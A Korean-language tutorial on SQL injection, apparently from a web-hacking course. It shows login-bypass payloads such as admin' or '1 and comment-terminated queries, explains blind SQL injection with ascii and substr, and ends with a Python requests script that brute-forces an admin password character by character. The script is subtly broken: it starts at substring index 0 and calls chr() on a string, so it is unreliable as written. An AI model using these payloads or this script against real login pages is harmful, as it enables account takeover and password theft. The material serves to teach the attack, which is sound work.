
웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 있다. 로그인시에 ID/PW를 포함하거나, 게시글의 제목과 내요을 SQL 구문에 포함한다.
이용자가 SQL 구문에 임의 문자열을 삽입하는 행위를 SQL Injection이라고 한다. 이는 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있다.
DBMS에 저장된 accounts 테이블에서 이용자의 아이디와 비밀번호를 입력받아 정보를 조회하는 쿼리문이다.
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되도록 해야하는 것이다. 이용자의 입력값을 문자열로 나타내기 위해 ' 문자를 사용한다.
uid에 admin' or '1을 입력하고, 비밀번호를 입력하지 않을 때, 생성되는 쿼리문은 다음과 같다.
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
AND 연산자의 우선순위가 OR 연산자보다 높으므로 upw에 어떠한 값이 들어가더라도, uid="admin"이 참이므로 비밀번호 없이 로그인을 우회할 수 있다.
이 외에도, 주석(--,#,/**/)을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있다.
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
위의 SQL Injection 공격은 의도하지 않은 결과를 반환하여 인증을 우회하였다. SQL Injection은 인증 우회 이외에도 데이터베이스의 데이터를 알아낼 수 있다. 이때 사용하는 공격 기법을 Blind SQL Injection 이라 한다.
공격자는 DBMS가 답변 가능한 형태로 질문하면서 정보를 탈취한다. 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법이다.
ascii 함수
전달된 문자를 아스키 형태로 반환하는 함수이다.
substr 함수
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
문자열에서 지정한 위치부터 길이까지의 값을 가져온다.
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
upw의 첫 번째 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의한다. 질의 결과는 로그인 성공 여부로 참/거짓을 판단하며, 로그인이 실패할 경우 문자가 'r'이 아님을 의미한다.
위 공격은 한 바이트씩 비교하여 공격하는 방식이므로 다른 공격에 비해 많은 시간을 들여야 한다. 이러한 문제를 해결하기 위해 공격을 자동화하는 스크립트를 작성할 수 있다.
다양한 메소드를 사용하여 HTTP 요청을 보내고 응답 또한 확인이 가능한 파이썬의 requests 모듈을 사용하여 구현한다.
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
'uid': '',
'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
for ch in tc:
# query를 이용하여 Blind SQL Injection 시도
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
# 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
비밀번호에 포함될 수 있는 문자를 string 모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성한다. 반복문 실행 중 서버에서 받은 응답에 "Login success" 문자열을 찾고, 해당 응답을 반환한 문자를 password 변수에 추가하여 저장한다. 반복문을 모두 마치면, "admin" 계정의 비밀번호를 알아낼 수 있다.